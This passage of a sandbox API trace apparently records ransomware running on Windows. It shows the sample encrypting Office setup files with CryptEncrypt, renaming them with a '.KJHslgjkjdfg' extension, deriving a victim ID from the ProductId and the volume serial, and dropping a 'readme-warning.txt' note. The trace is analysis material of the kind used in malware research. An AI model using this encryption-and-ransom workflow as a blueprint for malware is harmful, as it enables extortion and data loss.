lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x10676, lpOverlapped=0x0) returned 1 [0170.062] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x10680, dwBufLen=0x10680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x10680) returned 1 [0170.063] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.063] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x10680, lpOverlapped=0x0) returned 1 [0170.063] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.063] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.064] SetEndOfFile (hFile=0x118) returned 1 [0170.067] GetProcessHeap () returned 0x2ef0000 [0170.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.067] GetProcessHeap () returned 0x2ef0000 [0170.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.kjhslgjkjdfg")) returned 1 [0170.071] CloseHandle (hObject=0x118) returned 1 [0170.071] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.071] GetProcessHeap () returned 0x2ef0000 [0170.071] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.071] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.071] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.071] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.075] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.075] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.075] GetProcessHeap () returned 0x2ef0000 [0170.075] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.075] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.075] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.075] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.075] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.075] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.075] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.075] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.076] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.076] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.076] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.076] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.076] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x2488, lpOverlapped=0x0) returned 1 [0170.077] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2490, dwBufLen=0x2490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2490) returned 1 [0170.077] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.077] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x2490, lpOverlapped=0x0) returned 1 [0170.077] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.077] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.077] SetEndOfFile (hFile=0x118) returned 1 [0170.081] GetProcessHeap () returned 0x2ef0000 [0170.081] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.081] GetProcessHeap () returned 0x2ef0000 [0170.081] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.081] CloseHandle (hObject=0x118) returned 1 [0170.087] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.087] GetProcessHeap () returned 0x2ef0000 [0170.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.087] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.087] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.087] GetProcessHeap () returned 0x2ef0000 [0170.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.087] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.087] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.087] GetProcessHeap () returned 0x2ef0000 [0170.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.087] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.087] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.087] GetProcessHeap () returned 0x2ef0000 [0170.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.088] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.088] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.088] GetProcessHeap () returned 0x2ef0000 [0170.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.088] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.088] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.088] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.088] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.088] RegCloseKey (hKey=0x118) returned 0x0 [0170.088] GetProcessHeap () returned 0x2ef0000 [0170.088] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.088] GetProcessHeap () returned 0x2ef0000 [0170.088] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.088] GetProcessHeap () returned 0x2ef0000 [0170.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.088] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.088] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.088] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.088] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.089] GetProcessHeap () returned 0x2ef0000 [0170.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.089] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.089] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.089] GetProcessHeap () returned 0x2ef0000 [0170.089] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.089] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\readme-warning.txt") returned 111 [0170.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.090] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.091] CloseHandle (hObject=0x118) returned 1 [0170.091] GetProcessHeap () returned 0x2ef0000 [0170.091] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.091] GetProcessHeap () returned 0x2ef0000 [0170.091] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.091] GetProcessHeap () returned 0x2ef0000 [0170.091] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.091] GetProcessHeap () returned 0x2ef0000 [0170.091] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.091] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.092] GetProcessHeap () returned 0x2ef0000 [0170.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.092] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0170.092] GetProcessHeap () returned 0x2ef0000 [0170.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xce) returned 0x2f14588 [0170.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.093] GetProcessHeap () returned 0x2ef0000 [0170.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.093] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.093] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0170.093] GetProcessHeap () returned 0x2ef0000 [0170.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2d0) returned 0x2f47728 [0170.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.094] GetProcessHeap () returned 0x2ef0000 [0170.094] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.094] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.094] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.094] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x9, lpOverlapped=0x0) returned 1 [0170.097] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.097] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.097] GetProcessHeap () returned 0x2ef0000 [0170.097] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.097] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.097] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.097] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.097] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.097] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.097] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.097] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.098] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.098] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.098] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.098] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x567, lpOverlapped=0x0) returned 1 [0170.098] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x570, dwBufLen=0x570 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x570) returned 1 [0170.098] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.098] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x570, lpOverlapped=0x0) returned 1 [0170.098] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.098] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.098] SetEndOfFile (hFile=0x118) returned 1 [0170.100] GetProcessHeap () returned 0x2ef0000 [0170.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.101] GetProcessHeap () returned 0x2ef0000 [0170.101] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.kjhslgjkjdfg")) returned 1 [0170.102] CloseHandle (hObject=0x118) returned 1 [0170.102] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.102] GetProcessHeap () returned 0x2ef0000 [0170.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) 